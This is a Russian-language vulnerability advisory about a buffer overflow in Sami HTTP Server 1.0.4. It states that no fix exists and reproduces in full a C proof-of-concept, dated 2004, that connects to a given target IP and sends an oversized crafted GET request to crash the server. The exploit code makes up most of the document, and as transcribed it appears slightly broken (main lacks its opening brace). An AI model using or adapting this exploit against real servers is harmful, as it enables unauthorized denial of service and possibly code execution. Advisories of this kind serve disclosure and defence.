Переполнение буфера в Sami HTTP Server

Описание: Переполнение буфера обнаружено в Sami HTTP Server. Удаленный атакующий может аварийно завершить работу Web сервера и выполнить произвольный код.

Удаленный пользователь может послать специально обработанный HTTP get запрос, содержащий более 4096 байт данных к целевому серверу, чтобы аварийно завершить работу Web сервера и возможно выполнить произвольный код.

Пример/Эксплоит:

/****************************/
   PoC to crash the server
/****************************/

http://fux0r.phathookups.com/coding/c++/sp-samihttpddos.c

/* Sami HTTP Server Version 1.0.4 
   vendor:
   http://karja.com
 
   coded and discovered by:
   badpack3t <badpack3t@security-protocols.com>
   for .:sp research labs:.
   www.security-protocols.com
   2.13.2004
  
   usage: 
   sp-samihttpddos <targetip> [targetport] (default is 80)
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

/* entire request */
"\x47\x45\x54\x20\x2f\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x2e"
"\x68\x74\x6d\x6c\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x52"
"\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6c"
"\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2f\x66\x75\x78\x30\x72\x0d\x0a"
"\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70"
"\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d"
"\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64\x0d"
"\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65"
"\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67"
"\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37"
"\x36\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20"
"\x4c\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36"
"\x38\x36\x29\x0d\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72"
"\x65\x73\x75\x6c\x74\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63"
"\x61\x6c\x68\x6f\x73\x74\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d"
"\x6c\x65\x6e\x67\x74\x68\x3a\x20\x35\x31\x33\x0d\x0a\x41\x63\x63"
"\x65\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20"
"\x69\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c"
"\x20\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61"
"\x67\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f"
"\x70\x6e\x67\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f"
"\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0d\x0a\x41\x63\x63\x65"
"\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f\x2d"
"\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0d\x0a"
"\x0d\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x3f"
"\x0d\x0a";

int main(int argc, char *argv[])
 
	WSADATA wsaData;
	WORD wVersionRequested;
	struct hostent  *pTarget;
	struct sockaddr_in 	sock;
	char *target;
	int port,bufsize;
	SOCKET mysocket;
 
	if (argc < 2)
	{
		printf("Sami HTTP Server Version 1.0.4 DoS by badpack3t\r\n 
<badpack3t@security-protocols.c
om>\r\n\r\n", argv[0]);
		printf("Usage:\r\n %s <targetip> [targetport] (default is 80)
\r\n\r\n", argv[0]);
		printf("www.security-protocols.com\r\n\r\n", argv[0]);
		exit(1);
	}

	wVersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

	target = argv[1];
	port = 80;

	if (argc >= 3) port = atoi(argv[2]);
	bufsize = 1024;
	if (argc >= 4) bufsize = atoi(argv[3]);

	mysocket = socket(AF_INET, SOCK_STREAM, 0);
	if(mysocket==INVALID_SOCKET)
	{	
		printf("Socket error!\r\n");
		exit(1);
	}

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(target)) == NULL)
	{
		printf("Resolve of %s failed\n", argv[1]);
		exit(1);
	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons((USHORT)port);

	printf("Connecting...\n");
	if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
	{
		printf("Couldn't connect to host.\n");
		exit(1);
	}

	printf("Connected!...\n");
	printf("Sending Payload...\n");
	if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
	{
		printf("Error Sending the Exploit Payload\r\n");
		closesocket(mysocket);
		exit(1);
	}

	printf("Payload has been sent! Check if the webserver is dead y0!\r\n");
	closesocket(mysocket);
	WSACleanup();
	return 0;

URL производителя: http://www.karja.com/samihttp/main.php

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.